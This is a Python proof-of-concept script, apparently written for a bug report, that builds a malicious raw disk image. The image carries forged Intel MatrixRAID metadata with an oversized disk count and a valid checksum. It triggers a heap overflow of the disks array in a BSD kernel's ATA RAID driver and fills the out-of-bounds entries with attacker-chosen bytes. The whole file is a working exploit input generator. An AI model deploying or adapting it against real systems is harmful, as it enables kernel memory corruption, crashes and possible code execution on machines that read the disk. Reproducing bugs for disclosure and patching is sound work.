#!/usr/bin/env python3
"""
DF-1171 — build a crafted raw disk image whose final sectors carry a valid
Intel MatrixRAID metadata block with map->total_disks set to a value > 16,
so ata_raid_intel_read_meta() (sys/dev/disk/nata/ata-raid.c:2243) overflows
raid->disks[MAX_DISKS=16].

Layout reproduces the in-kernel reshuffle at ata-raid.c:2139-2142:
    bcopy(tmp, tmp+1024, 512);   # meta[1024..1535] = meta[0..511]
    bcopy(tmp+512, tmp, 1024);   # meta[0..1023]    = meta[512..1535]
i.e. the two 512-byte halves of the on-disk metadata are SWAPPED into RAM.
So we write:
    on-disk metadata[0..511]   = desired in-memory[512..1023]
    on-disk metadata[512..1023] = desired in-memory[0..511]

The metadata is read from sector (total_secs - 3) (INTEL_LBA, ata-raid.h:293).

Usage: build_meta.py <out.img> <total_disks>
"""
import struct, sys, os

OVR = int(sys.argv[2]) if len(sys.argv) > 2 else 32   # map->total_disks

# 2 MB raw disk = 4096 sectors of 512 bytes
SECT = 512
NSECT = 4096
TOTAL_SECS = NSECT
INTEL_LBA = TOTAL_SECS - 3   # sector where metadata read starts

# ---- build desired in-memory intel_raid_conf (1024 bytes) ----
mem = bytearray(1024)

def w8(o, v):  mem[o] = v & 0xff
def w16(o, v): struct.pack_into("<H", mem, o, v & 0xffff)
def w32(o, v): struct.pack_into("<I", mem, o, v & 0xffffffff)
def put(o, b): mem[o:o+len(b)] = b

# intel_id[24]
put(0, b"Intel Raid ISM Cfg Sig. ")
# version[6]
put(24, b"1.2.00")
# dummy_0[2] at 30 -- zeros
# checksum @ 32 (filled later)
# config_size @ 36 : full 1024-byte metadata => 256 u32 words
w32(36, 1024)
# config_id @ 40
w32(40, 0xDEADBEEF)
# generation @ 44 : must be nonzero AND > raid->generation (0 on fresh alloc)
w32(44, 1)
# dummy_1[2] @ 48 (8 bytes) zeros
# total_disks @ 56 : number of disk[] entries present in the metadata (small)
w8(56, 2)
# total_volumes @ 57
w8(57, 1)
# dummy_2[2] @ 58, filler_0[39] @ 60 -- zeros (-> 216)

# disk[0] @ 216 : serial[16] + sectors(u32) + id(u32) + flags(u32) + filler[5](u32)
# attacker-controlled payload bytes that get bcopy'd into raid->disks[disk].serial
disk0 = 216
put(disk0 + 0,  b"AAAAAAAAAAAAAAAA")   # serial[16]
w32(disk0 + 16, 0x41414141)            # sectors  -> raid->disks[].sectors (attacker)
w32(disk0 + 20, 0x00000001)            # id
w32(disk0 + 24, 0x08)                  # flags = INTEL_F_ONLINE
# filler[5] zeros

# disk[1] @ 264
disk1 = 264
put(disk1 + 0,  b"BBBBBBBBBBBBBBBB")
w32(disk1 + 16, 0x42424242)
w32(disk1 + 20, 0x00000002)
w32(disk1 + 24, 0x08)

# map = &disk[total_disks=2]  => offset 312
M = 312
put(M + 0, b"EVILVOL0")            # map.name[16] (rest zero)
# map.total_sectors u64 packed @ M+16
struct.pack_into("<Q", mem, M+16, 65536)
# map.state @ M+24, reserved @ M+28
w32(M+24, 0); w32(M+28, 0)
# filler_0[20] @ M+32 (80 bytes) zeros
# map.offset @ M+112
w32(M+112, 0)
# map.disk_sectors @ M+116
w32(M+116, 65536)
# map.stripe_count @ M+120
w32(M+120, 8)
# map.stripe_sectors u16 @ M+124
w16(M+124, 2)
# map.status u8 @ M+126  = INTEL_S_READY(0)
w8(M+126, 0)
# map.type u8 @ M+127    = INTEL_T_RAID0(0)
w8(M+127, 0)
# map.total_disks u8 @ M+128  ===== THE OVERFLOW TRIGGER =====
w8(M+128, OVR)
# map.magic[3] @ M+129, filler_1[7] @ M+132, disk_idx[1] @ M+160 (zeros)

# ---- checksum : sum of all u32 words (offset 0..1024 step 4) minus the
#      checksum field must equal the checksum field. So checksum = sum(others).
csum_field_off = 32
stored = struct.unpack_from("<I", mem, csum_field_off)[0]
s = 0
for o in range(0, 1024, 4):
    if o == csum_field_off:
        continue
    s = (s + struct.unpack_from("<I", mem, o)[0]) & 0xffffffff
w32(csum_field_off, s)

# verify
chk = 0
for o in range(0, 1024, 4):
    chk = (chk + struct.unpack_from("<I", mem, o)[0]) & 0xffffffff
chk = (chk - struct.unpack_from("<I", mem, csum_field_off)[0]) & 0xffffffff
assert chk == struct.unpack_from("<I", mem, csum_field_off)[0], \
       f"checksum mismatch chk={chk:#x} field={struct.unpack_from('<I', mem, csum_field_off)[0]:#x}"

# ---- swap the two 512-byte halves for the on-disk layout ----
disk_meta = bytearray(1024)
disk_meta[0:512]   = mem[512:1024]   # disk sector 0  -> in-memory[512..1023]
disk_meta[512:1024] = mem[0:512]      # disk sector 1  -> in-memory[0..511]

# ---- write the image ----
img = bytearray(NSECT * SECT)
meta_byte_off = INTEL_LBA * SECT
img[meta_byte_off:meta_byte_off+1024] = disk_meta

out = sys.argv[1]
with open(out, "wb") as f:
    f.write(img)

print(f"wrote {out}: {NSECT} sectors ({NSECT*SECT} bytes), INTEL_LBA={INTEL_LBA}")
print(f"  meta byte offset on disk = {meta_byte_off}")
print(f"  map->total_disks (overflow trigger) = {OVR}  => {max(OVR-16,0)} OOB entries")
print(f"                                  = {max(OVR-16,0)*48} bytes past disks[15]")
print(f"  checksum = {s:#010x}")
